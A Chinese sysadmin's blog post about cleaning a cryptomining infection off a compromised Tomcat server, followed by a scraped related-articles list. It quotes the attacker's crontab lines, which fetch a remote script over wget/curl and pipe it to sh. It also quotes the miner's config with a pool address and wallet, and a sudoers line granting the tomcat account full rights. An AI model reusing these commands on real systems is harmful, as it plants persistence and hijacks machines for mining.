线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,

top查看哪个占据的cpu资源比较多

[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48,  3 users,  load average: 2.10, 1.85, 1.66
Tasks: 166 total,   1 running, 164 sleeping,   0 stopped,   1 zombie
Cpu0  : 45.4%us,  0.8%sy,  0.0%ni, 53.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  : 38.2%us,  0.8%sy,  0.0%ni, 59.8%id,  0.0%wa,  0.0%hi,  1.2%si,  0.0%st
Mem:  14389372k total, 14233284k used,   156088k free,    12388k buffers
Swap: 33554428k total,  1511980k used, 32042448k free,    40140k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
39674 tomcat    20   0  223m 2808  412 S 75.0  0.0   4031:53 atd
54892 tomcat    20   0 10.1g 3.6g 4816 S  4.6 26.4 969:07.52 java  

[tomcat@aew01~]$ crontab -l
 */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
 */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$

看到有一个atd进程,这是什么鬼? 查看atd进程

[root@aew01~]# ps -eaf|grep 39674
root     39023 37026  0 14:28 pts/0    00:00:00 grep 39674
tomcat   39674     1 85 Jul15 ?        2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#

再查看atd执行脚本组件,看到是一个编译之后的可执行组件

[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd

******** /usr/sbin/atd: Not a text file ********

[root@aew01~]#

查看配置文件bmsnxvpggm.conf

[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
    "url" : "stratum+tcp://94.23.41.130:80",
    "user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}
[root@aew01~]#

看来是被盯上了,攻击了。kill掉进程

[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root     40917 37026  0 14:48 pts/0    00:00:00 grep atd
[root@aew01~]#

然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。

    [tomcat@aew01~]$ crontab -l
     */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
     */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
    [tomcat@aew01~]$

然后又查看历史操作,有这样一个命令echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers曾经被执行过

echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers

,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。

彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。



BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。

Tomcat应用服务器被黑客 肉鸡攻击 记录的更多相关文章

  1. 谣传QQ被黑客DDOS攻击,那么Python如何实现呢?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  2. 2018年,传言QQ首次被神秘黑客DDOS攻击,Python可以实现?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  3. OSGI嵌入tomcat应用服务器(gem-web)——tomcat插件环境搭建

    相关的资源下载,参考:https://www.cnblogs.com/dyh004/p/10642769.html 新建普通的plugin工程 新建工程运行环境 在工程中,新建运行环境 新建存放运行环 ...

  4. tomcat应用服务器

    Tomcat性能调优方案 一.操作系统调优 对于操作系统优化来说,是尽可能的增大可使用的内存容量.提高CPU的频率,保证文件系统的读写速率等.经过压力测试验证,在并发连接很多的情况下,CPU的处理能力 ...

  5. Servlet、Tomcat访问(access)日志配置、记录Post请求参数

    一.运行环境: Maven:3.5.2(点击下载) ,下载页 Tomcat:8.5.29(点击下载) ,下载页 JDK:jdk1.7.0_80(点击下载) ,下载页 MavenDependency: ...

  6. 搭建Tomcat应用服务器、tomcat虚拟主机及Tomcat多实例部署

    一.环境准备 系统版本:CentOS release 6.6 (Final) x86_64 Tomcat版本:tomcat- JDK版本:jdk-8u25-linux-x64 关闭防火墙 软件包下载地 ...

  7. UVa 11825 黑客的攻击(状态压缩dp)

    https://vjudge.net/problem/UVA-11825 题意: 假设你是一个黑客,侵入了一个有着n台计算机(编号为0,1,...,n-1)的网络.一共有n种服务,每台计算机都运行着所 ...

  8. JTA集成JOTM或Atomikos配置分布式事务(Tomcat应用服务器)

    一.以下介绍Spring中直接集成JOTM提供JTA事务管理.将JOTM集成到Tomcat中. (经过测试JOTM在批量持久化时有BUG需要修改源码GenericPool类解决)! 参考文章http: ...

  9. UVA11825 黑客的攻击 Hackers' Crackdown 状压DP,二进制,子集枚举

    题目链接Click Here [题目描述] 假如你是一个黑客,侵入了一个有着\(n\)台计算机(编号为\(1.2.3....n\))的网络.一共有\(n\)种服务,每台计算机都运行着所有服务.对于每台 ...

随机推荐

  1. CNN学习笔记:目标函数

    CNN学习笔记:目标函数 分类任务中的目标函数 目标函数,亦称损失函数或代价函数,是整个网络模型的指挥棒,通过样本的预测结果与真实标记产生的误差来反向传播指导网络参数学习和表示学习. 假设某分类任务共 ...

  2. Java Web专题

  3. java 偏向锁怎么升级为轻量级锁

    因为偏向锁,锁住对象时,会写入对象头相应的标识,我们先把对象头(官方叫法为:Mark Word)的图示如下(借用了网友的图片): 通过上面的图片,我们可以知道,对象处于偏向锁时,mark word中的 ...

  4. 针对Oracle表 列字段的增加、删除、修改以及重命名操作sql

    增加字段语法:alter table tablename add (column datatype [default value][null/not null],….); 说明:alter table ...

  5. 【Java Web】把逻辑名映射到servlet文件

    Ⅰ.请求URL Ⅱ.容器搜索DD,查找servlet-mapping <?xml version="1.0" encoding="ISO-8859-1" ...

  6. Tomcat 线程池配置

    线程池 Executor代表了一个线程池,可以在Tomcat组件之间共享.使用线程池的好处在于减少了创建销毁线程的相关消耗,而且可以提高线程的使用效率.要想使用线程池,首先需要在 Service标签中 ...

  7. hydra简单使用示例

    本内容为网上收集整理,仅作为备忘!! hydra简单使用示例: 破解https: # hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https ...

  8. LeetCode——Number Complement

    LeetCode--Number Complement Question Given a positive integer, output its complement number. The com ...

  9. 解决hive交互模式退格键乱码

    在hive的交互模式下,输入退格.方向键等,出现乱码,可以通过如下方法解决: 1.修改bashrc文件: vi ~/.bashrc 在文件最后添加一行: stty erase ^H. 2.使修改生效: ...

  10. CentOS 5 上使用yum同时安装32位和64位包的解决方法

    在centos上使用yum在线安装软件包的时候,有时候会同时安装32位和64位的包.并且在update的时候也会更新双份. 其实让yum只安装64位的包,只要在 /etc/yum.conf 中加个 e ...